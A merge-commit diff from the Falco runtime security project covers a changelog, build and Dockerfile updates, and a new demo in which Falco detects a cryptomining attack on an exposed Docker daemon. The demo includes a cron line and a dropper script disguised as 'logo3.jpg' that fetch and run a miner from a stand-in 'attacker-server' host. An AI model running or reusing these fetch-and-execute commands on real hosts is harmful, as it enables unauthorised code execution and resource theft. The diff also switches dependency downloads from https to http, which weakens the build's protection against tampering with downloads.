Merge branch 'dev' into agent-master

* Add ability to skip rules for unknown filters

Add the ability to skip a rule if its condition refers to a filtercheck
that doesn't exist. This allows defining a rules file that contains new
conditions that can still has limited backward compatibility with older
falco versions.

When compiling a filter, return a list of filtercheck names that are
present in the ast (which also includes filterchecks from any
macros). This set of filtercheck names is matched against the set of
filterchecks known to sinsp, expressed as lua patterns, and in the
global table defined_filters. If no match is found, the rule loader
throws an error.

The pattern changes slightly depending on whether the filter has
arguments or not. Two filters (proc.apid/proc.aname) can work with or
without arguments, so both styles of patterns are used.

If the rule has an attribute "skip-if-unknown-filter", the rule will be
skipped instead.

* Unit tests for skipping unknown filter

New unit test for skipping unknown filter. Test cases:

 - A rule that refers to an unknown filter results in an error.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: true", can be read, but doesn't match any events.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: false", returns an error.

Also test the case of a filtercheck like evt.arg.xxx working properly
with the embedded patterns as well as proc.aname/apid which work both ways.

.travis.yml

@@ -17,6 +17,7 @@ install:
     - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
     - tar -zxvf avocado-36.0-tar.gz
     - cd avocado-36.0lts
+    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
     - sudo -H pip install -r requirements.txt
     - sudo python setup.py install
     - cd ../falco

CHANGELOG.md

@@ -2,6 +2,66 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.10.0
+
+Released 2018-04-24
+
+## Major Changes
+
+* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
+* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
+* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
+* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
+* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
+* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
+
+## Minor Changes
+
+* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
+* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
+* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
+* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
+* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
+* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
+* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
+* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
+
+## Bug Fixes
+
+* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
+* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
+* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
+* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
+* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
+* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
+
+## Rule Changes
+
+* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
+* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
+* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
+* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
+
+## v0.9.0
+
+Released 2018-01-18
+
+### Bug Fixes
+
+* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
+* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
+
+### Minor Changes
+
+* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
+
+### Rule Changes
+
+* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
+* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]
+
 ## v0.8.1
 
 Released 2017-10-10

CMakeLists.txt

@@ -78,7 +78,7 @@ else()
         set(ZLIB_INCLUDE "${ZLIB_SRC}")
         set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
         ExternalProject_Add(zlib
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
@@ -104,7 +104,7 @@ else()
         set(JQ_INCLUDE "${JQ_SRC}")
         set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
         ExternalProject_Add(jq
-                URL "https://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
                 URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                 CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                 BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
@@ -134,7 +134,7 @@ else()
 	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
 	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
 	ExternalProject_Add(ncurses
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
@@ -161,7 +161,7 @@ else()
 	set(B64_INCLUDE "${B64_SRC}/include")
 	set(B64_LIB "${B64_SRC}/src/libb64.a")
 	ExternalProject_Add(b64
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -215,7 +215,7 @@ else()
 	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
 
 	ExternalProject_Add(openssl
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
 		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
@@ -246,7 +246,7 @@ else()
 
 	ExternalProject_Add(curl
 		DEPENDS openssl
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
 		URL_MD5 "e0caf257103e0c77cee5be7e9ac66ca4"
 		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
 		BUILD_COMMAND ${CMD_MAKE}
@@ -280,7 +280,7 @@ else()
 	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
 	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
 	ExternalProject_Add(luajit
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -310,7 +310,7 @@ else()
 	endif()
 	ExternalProject_Add(lpeg
 		DEPENDS ${LPEG_DEPENDENCIES}
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
 		URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
 		BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
 		BUILD_IN_SOURCE 1
@@ -345,7 +345,7 @@ else()
 	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
 	message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
 	ExternalProject_Add(libyaml
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
 		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -381,7 +381,7 @@ else()
 	endif()
 	ExternalProject_Add(lyaml
 		DEPENDS ${LYAML_DEPENDENCIES}
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
                 URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
                 BUILD_COMMAND ${CMD_MAKE}
                 BUILD_IN_SOURCE 1

README.md

@@ -2,7 +2,7 @@
 
 #### Latest release
 
-**v0.8.1**
+**v0.10.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />

cpack/debian/conffiles

@@ -1,4 +1,4 @@
 /etc/falco/falco.yaml
 /etc/falco/falco_rules.yaml
-/etc/falco/application_rules.yaml
+/etc/falco/rules.available/application_rules.yaml
 /etc/falco/falco_rules.local.yaml

docker/dev/Dockerfile

@@ -14,28 +14,23 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
 	ca-certificates \
+	curl \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gdb \
+	jq \
+	libc6-dev \
+	libelf-dev \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

docker/event-generator/event_generator.cpp

@@ -296,23 +296,21 @@ void system_user_interactive() {
 }
 
 void network_activity() {
-	printf("Opening a listening socket on port 8192...\n");
+	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
 	int rc;
 	int sock = socket(PF_INET, SOCK_DGRAM, 0);
 	struct sockaddr_in localhost;
 
 	localhost.sin_family = AF_INET;
 	localhost.sin_port = htons(8192);
-	inet_aton("127.0.0.1", &(localhost.sin_addr));
+	inet_aton("10.2.3.4", &(localhost.sin_addr));
 
-	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
 	{
 		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
 		return;
 	}
 
-	listen(sock, 1);
-
 	close(sock);
 }
 

docker/local/Dockerfile

@@ -14,29 +14,23 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
 	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 \
-	dkms && rm -rf /var/lib/apt/lists/*
+	jq \
+	libc6-dev \
+	libelf-dev \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 

docker/stable/Dockerfile

@@ -14,28 +14,22 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
 	ca-certificates \
+	curl \
 	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	jq \
+	libc6-dev \
+	libelf-dev \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

examples/bad-mount-cryptomining/README.md

@@ -0,0 +1,117 @@
+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
+host-machine_1     | ***Checking for existing Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Killing competing Miner programs
+host-machine_1     | ***Reinstalling cron job to run Miner program
+host-machine_1     | ***Configuring Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Configuring system for Miner program
+host-machine_1     | vm.nr_hugepages = 9
+host-machine_1     | ***Running Miner program
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+```
+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
+

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -0,0 +1,14 @@
+server {
+    listen       8220;
+    server_name  localhost;
+
+    location / {
+        root   /usr/share/nginx/html;
+        index  index.html index.htm;
+    }
+
+    error_page   500 502 503 504  /50x.html;
+    location = /50x.html {
+        root   /usr/share/nginx/html;
+    }
+}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -0,0 +1 @@
+{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -0,0 +1,64 @@
+#!/bin/sh
+echo "***Checking for existing Miner program"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Killing competing Miner programs"
+rm -rf /var/tmp/ysjswirmrm.conf
+rm -rf /var/tmp/sshd
+ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
+
+echo "***Reinstalling cron job to run Miner program"
+crontab -r || true && \
+echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
+crontab /tmp/cron || true && \
+rm -rf /tmp/cron || true
+
+echo "***Configuring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Configuring system for Miner program"
+cd /var/tmp
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Running Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+
+echo "***Ensuring Miner program is alive"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Reconfiguring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Reconfiguring system for Miner program"
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Restarting Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -0,0 +1,8 @@
+#!/bin/bash
+
+while true; do
+      echo "Mining bitcoins..."
+      sleep 60
+done
+
+      

examples/bad-mount-cryptomining/demo.yml

@@ -0,0 +1,41 @@
+version: '3'
+
+volumes:
+  host-filesystem:
+  docker-socket:
+
+services:
+  host-machine:
+    privileged: true
+    build:
+      context: ${PWD}/host-machine
+      dockerfile: ${PWD}/host-machine/Dockerfile
+    volumes:
+      - host-filesystem:/etc
+      - docker-socket:/var/run
+    ports:
+      - "2375:2375"
+    depends_on:
+      - "falco"
+
+  attacker-server:
+    image: nginx:latest
+    ports:
+      - "8220:8220"
+    volumes:
+      - ${PWD}/attacker_files:/usr/share/nginx/html
+      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
+    depends_on:
+      - "falco"      
+  
+  falco:
+    image: sysdig/falco:latest
+    privileged: true
+    volumes:
+      - docker-socket:/host/var/run
+      - /dev:/host/dev
+      - /proc:/host/proc:ro
+      - /boot:/host/boot:ro
+      - /lib/modules:/host/lib/modules:ro
+      - /usr:/host/usr:ro
+    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -0,0 +1,7 @@
+{
+    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
+    "Image": "alpine:latest",
+    "HostConfig": {
